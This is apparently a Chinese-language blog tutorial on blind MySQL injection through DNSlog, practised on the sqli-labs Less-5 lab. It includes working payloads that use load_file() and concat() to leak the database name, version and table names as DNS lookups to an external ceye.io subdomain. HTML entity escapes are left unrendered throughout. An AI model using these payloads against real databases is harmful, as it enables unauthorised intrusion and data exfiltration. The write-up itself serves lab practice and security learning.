dnslog在mysql在linux_DNSlog实现Mysql注入

step1&＃xff1a;

通过DNSlog盲注需要用到load_file()函数。show variables like &＃39;%secure%&＃39; 查看load_file()可以读取的磁盘。

1、当secure_file_priv为空&＃xff0c;就可以读取磁盘的目录。

2、当secure_file_priv为G:\&＃xff0c;就可以读取G盘的文件。

3、当secure_file_priv为null&＃xff0c;load_file就不能加载文件。

在5.7.6之后默认为null&＃xff0c;经测试phpstudy (5.5.53)和 mamp(5.6.35)默认值都是为null,可能是现在集成环境也意识到这些安全问题&＃xff0c;做出了更改。

自己添加

重启mysql

ok&＃xff01;

step2&＃xff1a;

测试LOAD_FILE函数

正常&＃xff01;

step3&＃xff1a;

登录ceye.io&＃xff0c;获取Identifier

step4&＃xff1a;

先骂自己一句&＃xff0c;没use选中数据库就select&＃xff0c;结果ceye后端一直没接收到消息。(lll&＃xffe2;ω&＃xffe2;)

use security&＃xff1b;

select load_file(concat(&＃39;\\\\\\\\&＃39;,(select database()),&＃39;.6dz4ut.ceye.io\\abc&＃39;));

ceye后端情况

ok&＃xff01;

step5&＃xff1a;

sqli-labs环境Less-5测试

获取数据库版本

payload&＃xff1a;1&＃39; and if((select load_file(concat(&＃39;\\\\&＃39;,(select version()),&＃39;.6dz4ut.ceye.io\\abc&＃39;))),1,1)--&＃43;

获取security的表

payload&＃xff1a;1&＃39; and if((select load_file(concat(&＃39;\\\\&＃39;,(select table_name from information_schema.tables where table_schema&＃61;&＃39;security&＃39; limit 1,1),&＃39;.6dz4ut.ceye.io\\abc&＃39;))),1,1)--&＃43;

ok&＃xff01;

全程基本没啥问题&＃xff0c;就是前提条件secure_file_priv为null很蛋疼。